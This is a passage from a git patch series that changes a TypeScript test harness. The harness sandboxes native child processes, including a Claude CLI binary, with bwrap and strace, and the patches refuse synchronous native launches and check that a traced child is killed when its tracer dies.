c=require("node:child_process").spawn(${JSON.stringify(process.execPath)},["-e",${JSON.stringify(script)}],{env,stdio:"inherit"});c.on("exit",code=>process.exit(code??1));`; + const child=spawn(Bun.which("node")!,["-e",owner],{env,stdio:["ignore","pipe","pipe"]});let stderr="";child.stderr.on("data",part=>{stderr+=part;}); + const code=await new Promise(resolve=>child.once("close",resolve)); + expect(code,"EXIT_REFUSAL_STILL_FAILS_LOCALLY "+stderr).toBe(1); + const records=stderr.split("\n").filter(line=>line.startsWith("{")).map(line=>JSON.parse(line)); + expect(records.filter(value=>value.kind==="native-offline-boundary"),"INITIAL_REFUSAL_IS_RETAINED").toHaveLength(1); + expect(records.filter(value=>value.kind==="native-offline-invocation-failed"),"EXIT_REFUSAL_IS_RETAINED_AFTER_SINK_CLOSE").toHaveLength(1); + expect(stderr,"CLOSED_SINK_CANNOT_THROW_DURING_EXIT").not.toContain("Native receipt descriptor identity changed"); +}); From ccd01c2d2036f4668667d934d8297376640d4048 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 21:52:51 +0000 Subject: [PATCH 120/187] fix(test): disarm asynchronous readiness for synchronous launches --- scripts/test-native-guard.ts | 10 +++++----- scripts/test-network-guard.ts | 5 +++-- tests/native-tripwire.test.ts | 29 +++++++++++++++++++++++++++++ 3 files changed, 37 insertions(+), 7 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index af0a4a2884..71271ab9c5 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -41,7 +41,7 @@ const within = (root: string, path: string) => path === root || path.startsWith( let qualified = false; let bwrapExecutable = "bwrap", straceExecutable = "strace", socketPolicyExecutable = ""; const guardedPlans=new WeakSet(); -type GuardedPlan={afterSpawn?(pid:number):void;argv:string[];env:Record;beforeLaunch():void;dispose():void;nativeExecuted():boolean;unknown?:boolean}; +type GuardedPlan={afterSpawn?(pid:number):void;argv:string[];env:Record;beforeLaunch():void;dispose():void;nativeExecuted():boolean;unknown?:boolean;forSynchronousSpawn?():GuardedPlan}; const guardedBoundaries=new WeakMap(); export function nativeGuardedBoundary(argv:readonly string[]):GuardedPlan|undefined{return guardedBoundaries.get(argv);} export function isGuardedNativePlan(argv:readonly string[]):boolean{return guardedPlans.has(argv);} @@ -129,7 +129,7 @@ function fileHash(path: string): string { const digest = hash.digest("hex"); hashes.set(key, digest); return digest; } -interface SpawnContext { detached?:boolean; cwd?: string; env?: Record } +interface SpawnContext { synchronous?:boolean;detached?:boolean; cwd?: string; env?: Record } function resolveExecutable(command: string, options: SpawnContext): string { const cwd = resolve(options.cwd ?? process.cwd()); const path = options.env?.PATH ?? process.env.PATH; @@ -768,7 +768,7 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const audited = auditNativeLaunch(argv, options.receiptMode==="restricted-probe"?[executable]:expectedNativeExec(command, args, options), () => { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); },undefined,options.receiptMode==="restricted-probe"); beforeLaunch(); guardedPlans.add(audited.argv); - const boundary={ ...audited, env: {}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid,beforeLaunch);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; + const boundary={ ...audited, env: {},forSynchronousSpawn():GuardedPlan{return refuse("synchronous native launch is unavailable");}, beforeLaunch(){beforeLaunch();audited.beforeLaunch();},afterSpawn(pid:number){audited.afterSpawn(pid);try{readiness?.afterSpawn(pid,beforeLaunch);}catch{refuse("native guard setup did not become ready");}} };guardedBoundaries.set(audited.argv,boundary);return boundary; } catch (error) { readiness?.dispose();turnProxy?.dispose();bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -1880,7 +1880,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon const mounts=["--ro-bind",shared.directory,shared.directory,"--ro-bind",directory,directory,"--bind",event,shared.eventTarget,...Array.from(new Set(masks.map(path=>realpathSync(path)))).flatMap(path=>["--ro-bind",stub,path])]; const install=(payload:readonly string[])=>[shared.installer,stub,event,shared.directory,directory,String(new Set(masks.map(path=>realpathSync(path))).size),...new Set(masks.map(path=>realpathSync(path))),"--",...payload]; let argv=[...command];let statusIdentity:{source:string;dev:number;ino:number}|undefined;const at=unknownBwrapPosition(argv,bwrap,options),productUnshare=unknownProductUnshare(argv,options); - if(options.detached&&at<0&&!productUnshare){try{launchReady=prepareNativeLaunchReadiness();}catch{refuse("restriction cannot be enforced");}mounts.push(...launchReady.mounts);} + if(options.detached&&!options.synchronous&&at<0&&!productUnshare){try{launchReady=prepareNativeLaunchReadiness();}catch{refuse("restriction cannot be enforced");}mounts.push(...launchReady.mounts);} const probeCommand=[bwrap,"--unshare-user","--cap-drop","ALL","--bind","/","/","--dev-bind","/dev","/dev",...mounts,"--","/usr/bin/true"]; const probe=metadataSpawnSync(probeCommand,{env:{PATH:"/usr/bin:/bin"},stdout:"pipe",stderr:"pipe",timeout:5000}); if(probe.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(probe.stderr))); @@ -1959,7 +1959,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon timer=setInterval(()=>{inspect();if(disposing)finish();},20);timer.unref(); const encoded=JSON.stringify(argv); const launchEnv:Record={...(options.env??process.env),...(outerAudit?.env??sharedAudit?.env??{})};delete launchEnv.BRAIN_NATIVE_RECEIPT; - const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; + const boundary={argv,env:launchEnv,maskBinds:Object.freeze([...mounts]),unknown:true as const,forSynchronousSpawn():GuardedPlan{if(!launchReady)return boundary;finish();return nativeUnknownBoundary(command,{...options,synchronous:true},workerUid,preserveProductPlan);},nativeExecuted:()=>false,afterSpawn(pid:number){sharedAudit?.afterSpawn(pid);try{launchReady?.afterSpawn(pid,()=>sharedAudit?.beforeLaunch());}catch{refuse("restriction cannot be enforced");}},beforeLaunch(){sharedAudit?.beforeLaunch();if(statusIdentity){try{const held=statSync(statusIdentity.source);if(!held.isFIFO()||held.uid!==nativeKernelIdentity().uid||held.dev!==statusIdentity.dev||held.ino!==statusIdentity.ino)throw Error("changed FIFO");}catch{refuse("restriction cannot be enforced");}}const now=lstatSync(stub,{bigint:true});if(JSON.stringify(argv)!==encoded||now.dev!==stamp.dev||now.ino!==stamp.ino||now.size!==stamp.size)refuse("restriction cannot be enforced");},dispose(){finish();}}; guardedPlans.add(argv);guardedBoundaries.set(argv,boundary);return boundary; }catch(error){cleanup();throw error;} } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 92ef7fe77e..4dd8289f1c 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -175,6 +175,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // Fixture helpers often replace env completely, including provider-history // probes. Carry test Git policy through those children as well as shells. let boundary: ReturnType = nativeGuardedBoundary(cmd); + if(key==="spawnSync"&&boundary?.forSynchronousSpawn){boundary=boundary.forSynchronousSpawn();args[0]=Array.isArray(first)?boundary.argv:{...first,cmd:boundary.argv};} // Runtime provenance also covers wrapper/interpreter arguments; // non-file status descriptors are excluded before resolving identity. if (!boundary&&isNativeClaude(executable, cmd.slice(1), options)) { @@ -185,7 +186,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, ...(options.env?.BRAIN_NATIVE_TEST_HEAD === undefined ? { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() } : {}), ...(!Object.hasOwn(options.env ?? {},"GITHUB_ACTIONS") && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", ...(!Object.hasOwn(options.env ?? {},"RUNNER_ENVIRONMENT")?{RUNNER_ENVIRONMENT:process.env.RUNNER_ENVIRONMENT}:{}) } : {}) })); - const unknownBoundary=!boundary&&!workerBoundary?.unknown&&!options.env?.BRAIN_WORKER_LAUNCH&&nativeWorkerClassification(cmd,options)==="unknown"?nativeUnknownBoundary((Array.isArray(args[0])?args[0]:(args[0] as {cmd:string[]}).cmd) as string[],{...options,env:testGitEnvironment(options.env??process.env)}):undefined; + const unknownBoundary=!boundary&&!workerBoundary?.unknown&&!options.env?.BRAIN_WORKER_LAUNCH&&nativeWorkerClassification(cmd,options)==="unknown"?nativeUnknownBoundary((Array.isArray(args[0])?args[0]:(args[0] as {cmd:string[]}).cmd) as string[],{...options,synchronous:key==="spawnSync",env:testGitEnvironment(options.env??process.env)}):undefined; if(unknownBoundary)args[0]=Array.isArray(first)?unknownBoundary.argv:{...args[0] as object,cmd:unknownBoundary.argv}; let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? unknownBoundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); if(!boundary&&!unknownBoundary&&!workerBoundary?.unknown&&!pipeOnly&&!isGuardedNativePlan(cmd)){ @@ -217,7 +218,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { // No guard-owned writer or deferred receipt remains when it resolves. Object.defineProperty(result,"exited",{value:completed,configurable:true}); } - else {workerBoundary?.dispose();flushNativeReceipts();} + else {boundary?.dispose();unknownBoundary?.dispose();workerBoundary?.dispose();flushNativeReceipts();} return result; } catch (error) { bootstrapDiagnostics?.dispose(); boundary?.dispose();unknownBoundary?.dispose(); workerBoundary?.dispose(); throw error; } }) as typeof Bun.spawn & typeof Bun.spawnSync; diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts index f14ea5ba08..b660064013 100644 --- a/tests/native-tripwire.test.ts +++ b/tests/native-tripwire.test.ts @@ -282,3 +282,32 @@ for(const mode of ["exit","gone","reused"] as const)test(`fork keeper evidence l }finally{if(payload)try{process.kill(payload,"SIGKILL");}catch{}plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"DETACHED_KEEPER_READY_AFTER_PARENT_EXIT "+err).toBe(0);const result=JSON.parse(out),fs=await import("node:fs");expect(fs.existsSync(result.directory),"FORK_TRIPWIRE_DIRECTORY_RELEASED").toBe(false);expect(fs.existsSync(result.shared),"FORK_SHARED_STUB_RELEASED_AT_PROCESS_EXIT").toBe(false); }); + +for(const prebuilt of [false,true])test(`detached synchronous unknown launches do not arm async readiness: prebuilt=${prebuilt}`,async()=>{ + const code=`import * as fs from "node:fs";import {tmpdir} from "node:os";import {nativeUnknownBoundary,nativeGuardedBoundary,nativeWorkerClassification} from ${JSON.stringify(guard)}; + const before=new Set(fs.readdirSync(tmpdir()).filter(name=>/^odysseus-native-ready-[A-Za-z0-9]+$/.test(name))),command=["/bin/sh","-c",'i=1; printf Ithaca'],env={PATH:"/usr/bin:/bin"}; + if(nativeWorkerClassification(command,{env})!=="unknown")throw Error("REAL_UNKNOWN_SYNC_SHAPE_REQUIRED"); + const plan=${prebuilt}?nativeUnknownBoundary(command,{env,detached:true}):undefined; + if(plan&&(nativeGuardedBoundary(plan.argv)!==plan||!plan.argv.some(word=>word.includes("odysseus-native-ready-"))))throw Error("PREBUILT_ASYNC_PLAN_REALLY_HAS_READINESS"); + try{ + const result=Bun.spawnSync(plan?.argv??command,{env:plan?.env??env,detached:true,timeout:${watchdogMs(1000)},stdout:"pipe",stderr:"pipe"}); + if(result.exitCode!==0||result.stdout.toString()!=="Ithaca"||result.stderr.length)throw Error("DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR "+result.exitCode+" "+result.stderr); + if(fs.readdirSync(tmpdir()).some(name=>/^odysseus-native-ready-[A-Za-z0-9]+$/.test(name)&&!before.has(name)))throw Error("SYNC_READINESS_CHANNEL_IS_RELEASED"); + console.log("DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR"); + }finally{plan?.dispose();}`; + const child=spawnGuardFixture([process.execPath,"-e",code]); + const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR "+err).toBe(0);expect(out).toContain("DETACHED_SYNC_PRESERVES_MAIN_BEHAVIOR"); +},watchdogMs(30000)); + +test("a prebuilt native plan keeps the synchronous native admission refusal",async()=>{ + const code=fixtureDiscovery.replace("?tripwire-witness","")+` + (await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))})).installNetworkGuard(); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const origin=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response("offline")}),release=guard.nativeScriptedService(origin.url.origin,{fixtureRoots:[root]});let plan; + try{plan=guard.nativeClaudeBoundary(target,["--version"],{env:{PATH:"/usr/bin:/bin",HOME:root},cwd:root});Bun.spawnSync(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe",timeout:${watchdogMs(1000)}});} + finally{plan?.dispose();release();origin.stop(true);fs.rmSync(root,{recursive:true,force:true});}`; + // Discovery selects only the harmless compiled witness, never installed code. + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"PREBUILT_NATIVE_SYNC_NEVER_LAUNCHES").not.toBe(0);expect(err).toContain("synchronous native launch is unavailable");expect(out).not.toContain("UNMASKED_PAYLOAD_RAN"); +},watchdogMs(30000)); From a98b02c3e0190230904b008ad33ad7ec85dee0e4 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 21:52:51 +0000 Subject: [PATCH 121/187] test: distinguish tracer startup waits from the fixed death bound --- tests/native-shared-audit.test.ts | 34 +++++++++++++++++++++++++++---- 1 file changed, 30 insertions(+), 4 deletions(-) diff --git a/tests/native-shared-audit.test.ts b/tests/native-shared-audit.test.ts index 1c702a48ee..61ff1b9d9b 100644 --- a/tests/native-shared-audit.test.ts +++ b/tests/native-shared-audit.test.ts @@ -35,8 +35,34 @@ for(const mode of ["harmless","native-stub","forged","expired"] as const)test(`n test("outer tracer death kills the nested launch and closes stdout",async()=>{ const guard=join(root,"scripts/test-native-guard.ts"),preload=join(root,"scripts/test-network-child-preload.ts"); const nested=`import {readFileSync} from "node:fs";import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; - const plan=nativeUnknownBoundary(["/bin/sh","-c",'echo INNER_READY; IFS= read -r held']),child=Bun.spawn(plan.argv,{env:plan.env,stdin:"pipe",stdout:"pipe",stderr:"pipe"});const reader=child.stdout.getReader();const ready=await reader.read();if(!new TextDecoder().decode(ready.value).includes("INNER_READY"))throw Error("INNER_NOT_READY");reader.releaseLock();const tracer=Number(/^TracerPid:\\s+(\\d+)/m.exec(readFileSync("/proc/self/status","utf8"))[1]),start=readFileSync("/proc/"+tracer+"/stat","utf8").split(") ")[1].split(" ")[19];console.log("TRACER_READY "+tracer+" "+start);await child.exited;throw Error("INNER_SURVIVED_TRACER");`; + const plan=nativeUnknownBoundary(["/bin/sh","-c",'echo INNER_READY $$; IFS= read -r held']),child=Bun.spawn(plan.argv,{env:plan.env,stdin:"pipe",stdout:"pipe",stderr:"pipe"}); + const reader=child.stdout.getReader();let text="";while(!text.includes("\\n")){const part=await reader.read();if(part.done)throw Error("INNER_NOT_READY");text+=new TextDecoder().decode(part.value);}reader.releaseLock(); + const payload=Number(/INNER_READY ([0-9]+)/.exec(text)[1]),identity=pid=>readFileSync("/proc/"+pid+"/stat","utf8").split(") ")[1].split(" "); + const tracer=Number(/^TracerPid:[^0-9]*([0-9]+)/m.exec(readFileSync("/proc/self/status","utf8"))[1]); + console.log("TRACER_READY "+tracer+" "+identity(tracer)[19]+" "+payload+" "+identity(payload)[19]);await child.exited;throw Error("INNER_SURVIVED_TRACER");`; + // The attested strace owns --kill-on-exit: the kernel kills its tracees at + // tracer death. RPC polling is not that termination control. Startup and + // reporting have a scaled hang watchdog; kill + EOF has a fixed 2 s bound. const driver=`import {readFileSync} from "node:fs";import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; - const plan=nativeUnknownBoundary([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(nested)}]),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});let output="",killed=false,expired=false;const timer=setTimeout(()=>{expired=true;child.kill("SIGKILL");},10000);try{const drained=(async()=>{for await(const chunk of child.stdout){output+=new TextDecoder().decode(chunk);const match=/TRACER_READY (\\d+) (\\d+)/.exec(output);if(match&&!killed){const pid=Number(match[1]),start=readFileSync("/proc/"+pid+"/stat","utf8").split(") ")[1].split(" ")[19];if(start!==match[2])throw Error("TRACER_IDENTITY_CHANGED");killed=true;process.kill(pid,"SIGKILL");}}})();const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text(),drained]);if(expired||!killed||code===0||output.includes("INNER_SURVIVED_TRACER"))throw Error("OUTER_TRACER_DEATH_MUST_CLOSE_OWNED_LAUNCH: "+err);console.log("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF");}finally{clearTimeout(timer);}`; - const child=spawnGuardFixture([process.execPath,"-e",driver]);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(code,err).not.toBe(0);expect(out).toContain("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF");expect(err).toContain("restriction cannot be enforced"); -},watchdogMs(20000)); + const identity=pid=>readFileSync("/proc/"+pid+"/stat","utf8").split(") ")[1].split(" "); + const plan=nativeUnknownBoundary([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(nested)}]),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"}); + let output="",killed=false,expired=false,boundExpired=false,killAt=0,eofMs=null,payload=0,payloadStart="",boundTimer; + const killBoundMs=2000; + const timer=setTimeout(()=>{expired=true;console.error(JSON.stringify({traceDeathStage:killed?"reporting":"setup",killed,eofMs}));child.kill("SIGKILL");},${watchdogMs(20000)}); + try{ + const drained=(async()=>{for await(const chunk of child.stdout){output+=new TextDecoder().decode(chunk);const match=/TRACER_READY ([0-9]+) ([0-9]+) ([0-9]+) ([0-9]+)/.exec(output);if(match&&!killed){ + const pid=Number(match[1]);payload=Number(match[3]);payloadStart=match[4];if(identity(pid)[19]!==match[2]||identity(payload)[19]!==payloadStart)throw Error("TRACER_OR_PAYLOAD_IDENTITY_CHANGED"); + killed=true;killAt=performance.now();process.kill(pid,"SIGKILL"); + boundTimer=setTimeout(()=>{boundExpired=true;console.error(JSON.stringify({traceDeathStage:"kill-eof",killed,eofMs}));child.kill("SIGKILL");},/* native-product-timing: Kernel tracer death must close owned stdout within two seconds. */killBoundMs); + }} + if(killed){eofMs=performance.now()-killAt;clearTimeout(boundTimer);if(boundExpired||eofMs>killBoundMs)throw Error("TRACER_DEATH_EXCEEDS_FIXED_KILL_EOF_BOUND"); + try{const now=identity(payload);if(now[19]===payloadStart&&!["Z","X"].includes(now[0]))throw Error("TRACER_DEATH_PAYLOAD_STILL_LIVE");}catch(error){if(!["ENOENT","ESRCH"].includes(error.code))throw error;} + }})(); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text(),drained]); + if(expired||boundExpired||!killed||code===0||output.includes("INNER_SURVIVED_TRACER")||err.includes("INNER_SURVIVED_TRACER"))throw Error("OUTER_TRACER_DEATH_MUST_CLOSE_OWNED_LAUNCH "+JSON.stringify({phase:killed?"reporting":"setup",killed,eofMs})+": "+err); + console.log(JSON.stringify({traceDeath:{eofMs,killBoundMs,payloadStopped:true}}));console.log("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF"); + }finally{clearTimeout(timer);clearTimeout(boundTimer);}`; + const child=spawnGuardFixture([process.execPath,"-e",driver]);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(code,err).not.toBe(0);expect(err,"OWNED_PARENT_CANNOT_RUN_AFTER_TRACER_DIES").not.toContain("INNER_SURVIVED_TRACER");expect(out,err).toContain("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF");expect(err).toContain("restriction cannot be enforced"); + console.log(out.split("\n").find(line=>line.startsWith('{"traceDeath":'))); +},watchdogMs(60000)); From 39867a2de3662263336e98c26b54372ad067edb3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 21:59:08 +0000 Subject: [PATCH 122/187] test: observe tracer-owned payload exit through a pidfd --- tests/native-shared-audit.test.ts | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/tests/native-shared-audit.test.ts b/tests/native-shared-audit.test.ts index 61ff1b9d9b..335f89650a 100644 --- a/tests/native-shared-audit.test.ts +++ b/tests/native-shared-audit.test.ts @@ -46,22 +46,24 @@ test("outer tracer death kills the nested launch and closes stdout",async()=>{ const driver=`import {readFileSync} from "node:fs";import {nativeUnknownBoundary} from ${JSON.stringify(guard)}; const identity=pid=>readFileSync("/proc/"+pid+"/stat","utf8").split(") ")[1].split(" "); const plan=nativeUnknownBoundary([process.execPath,"--preload",${JSON.stringify(preload)},"-e",${JSON.stringify(nested)}]),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"}); - let output="",killed=false,expired=false,boundExpired=false,killAt=0,eofMs=null,payload=0,payloadStart="",boundTimer; + let output="",killed=false,expired=false,boundExpired=false,killAt=0,eofMs=null,payload=0,payloadStart="",boundTimer,observer,observerErrors,stopped,stoppedMs=null; const killBoundMs=2000; const timer=setTimeout(()=>{expired=true;console.error(JSON.stringify({traceDeathStage:killed?"reporting":"setup",killed,eofMs}));child.kill("SIGKILL");},${watchdogMs(20000)}); try{ const drained=(async()=>{for await(const chunk of child.stdout){output+=new TextDecoder().decode(chunk);const match=/TRACER_READY ([0-9]+) ([0-9]+) ([0-9]+) ([0-9]+)/.exec(output);if(match&&!killed){ const pid=Number(match[1]);payload=Number(match[3]);payloadStart=match[4];if(identity(pid)[19]!==match[2]||identity(payload)[19]!==payloadStart)throw Error("TRACER_OR_PAYLOAD_IDENTITY_CHANGED"); - killed=true;killAt=performance.now();process.kill(pid,"SIGKILL"); + const program='import os,select,sys\\nfd=os.pidfd_open(int(sys.argv[1]))\\nassert open("/proc/"+sys.argv[1]+"/stat").read().rsplit(") ",1)[1].split()[19]==sys.argv[2]\\nprint("PIDFD_READY",flush=True)\\nassert os.read(0,1)==b"G"\\np=select.poll();p.register(fd,select.POLLIN)\\nassert p.poll(2000),"PIDFD_STOP_BOUND"\\nprint("PIDFD_STOPPED",flush=True)'; + observer=Bun.spawn(["/usr/bin/python3","-I","-S","-c",program,String(payload),payloadStart],{stdin:"pipe",stdout:"pipe",stderr:"pipe"});observerErrors=new Response(observer.stderr).text(); + const observed=observer.stdout.getReader();let observedText="";while(!observedText.includes("PIDFD_READY")){const part=await observed.read();if(part.done)throw Error("PIDFD_OBSERVER_NOT_READY");observedText+=new TextDecoder().decode(part.value);} + stopped=(async()=>{try{while(!observedText.includes("PIDFD_STOPPED")){const part=await observed.read();if(part.done)throw Error("PIDFD_DID_NOT_OBSERVE_DEATH");observedText+=new TextDecoder().decode(part.value);}stoppedMs=performance.now()-killAt;}finally{observed.releaseLock();}})(); + killed=true;killAt=performance.now();process.kill(pid,"SIGKILL");observer.stdin.write("G");observer.stdin.end(); boundTimer=setTimeout(()=>{boundExpired=true;console.error(JSON.stringify({traceDeathStage:"kill-eof",killed,eofMs}));child.kill("SIGKILL");},/* native-product-timing: Kernel tracer death must close owned stdout within two seconds. */killBoundMs); }} - if(killed){eofMs=performance.now()-killAt;clearTimeout(boundTimer);if(boundExpired||eofMs>killBoundMs)throw Error("TRACER_DEATH_EXCEEDS_FIXED_KILL_EOF_BOUND"); - try{const now=identity(payload);if(now[19]===payloadStart&&!["Z","X"].includes(now[0]))throw Error("TRACER_DEATH_PAYLOAD_STILL_LIVE");}catch(error){if(!["ENOENT","ESRCH"].includes(error.code))throw error;} - }})(); - const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text(),drained]); + if(killed){eofMs=performance.now()-killAt;await stopped;clearTimeout(boundTimer);if(boundExpired||Math.max(eofMs,stoppedMs)>killBoundMs)throw Error("TRACER_DEATH_EXCEEDS_FIXED_KILL_EOF_BOUND");}})(); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text(),drained]);if(observer&&await observer.exited!==0)throw Error("PIDFD_OBSERVER_FAILED: "+await observerErrors); if(expired||boundExpired||!killed||code===0||output.includes("INNER_SURVIVED_TRACER")||err.includes("INNER_SURVIVED_TRACER"))throw Error("OUTER_TRACER_DEATH_MUST_CLOSE_OWNED_LAUNCH "+JSON.stringify({phase:killed?"reporting":"setup",killed,eofMs})+": "+err); - console.log(JSON.stringify({traceDeath:{eofMs,killBoundMs,payloadStopped:true}}));console.log("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF"); - }finally{clearTimeout(timer);clearTimeout(boundTimer);}`; + console.log(JSON.stringify({traceDeath:{eofMs,stoppedMs,killBoundMs,payloadStopped:true}}));console.log("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF"); + }finally{clearTimeout(timer);clearTimeout(boundTimer);if(observer?.exitCode===null)observer.kill("SIGKILL");}`; const child=spawnGuardFixture([process.execPath,"-e",driver]);const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); expect(code,err).not.toBe(0);expect(err,"OWNED_PARENT_CANNOT_RUN_AFTER_TRACER_DIES").not.toContain("INNER_SURVIVED_TRACER");expect(out,err).toContain("TRACE_DEATH_KILLED_OWNED_LAUNCH_WITH_EOF");expect(err).toContain("restriction cannot be enforced"); console.log(out.split("\n").find(line=>line.startsWith('{"traceDeath":'))); From 050f9f8502c7664dc13de9ea6e119fa2c47b760d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 22:08:55 +0000 Subject: [PATCH 123/187] test: allow loaded native compositions to finish within hang watchdogs --- .../tests/native-route-qualification.test.ts | 3 ++- packages/ui-backend-claude/tests/ordinary-host-relay.test.ts | 4 ++-- packages/ui-backend-claude/tests/provider-history.test.ts | 2 +- tests/claude-worker.test.ts | 2 +- tests/helpers/provider-history.ts | 5 +++-- 5 files changed, 9 insertions(+), 7 deletions(-) diff --git a/packages/ui-backend-claude/tests/native-route-qualification.test.ts b/packages/ui-backend-claude/tests/native-route-qualification.test.ts index 180fce5463..d92ee7a57c 100644 --- a/packages/ui-backend-claude/tests/native-route-qualification.test.ts +++ b/packages/ui-backend-claude/tests/native-route-qualification.test.ts @@ -3,12 +3,13 @@ import { nativeNamespaceEnvironment, nativeNamespacePolicy } from "../../../scri import { expect, test } from "bun:test"; import { resolve } from "node:path"; const root = resolve(import.meta.dir, "../../.."); +// The three-turn ordinary composition has a hang watchdog, not a product deadline. function probe(fixture: string, mode?: string): Record { const policy = nativeNamespacePolicy(); const child = Bun.spawnSync(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--tmpfs", "/opt", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, "--preload", resolve(root, "scripts/test-network-child-preload.ts"), resolve(import.meta.dir, "fixtures", fixture), ...(mode ? [mode] : []), ...policy.args], - { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: watchdogMs(25000) }); + { cwd: root, stdin: "ignore", stdout: "pipe", stderr: "pipe", timeout: watchdogMs(fixture === "server-host-relay-probe.ts" ? 75_000 : 25_000) }); expect(child.exitCode, child.stderr.toString()).toBe(0); return JSON.parse(child.stdout.toString().trim().split("\n").at(-1)!); } diff --git a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts index 7fe26250dc..6eeea6caa3 100644 --- a/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts +++ b/packages/ui-backend-claude/tests/ordinary-host-relay.test.ts @@ -20,7 +20,7 @@ test.each(["strict", "governed"] as const)("ordinary %s spawn preserves native h const policy = nativeNamespacePolicy(); const child = Bun.spawn(["bwrap", "--clearenv", ...nativeNamespaceEnvironment(), "--setenv", "PATH", "/usr/bin:/bin", "--setenv", "HOME", "/tmp", "--unshare-net", "--unshare-pid", "--die-with-parent", "--ro-bind", "/", "/", "--tmpfs", "/tmp", "--tmpfs", "/etc", "--proc", "/proc", "--dev", "/dev", ...policy.mounts, process.execPath, fixture, profile, ...policy.args], { - env: { PATH: "/usr/bin:/bin" }, stdout: "pipe", stderr: "pipe", timeout: watchdogMs(25_000), + env: { 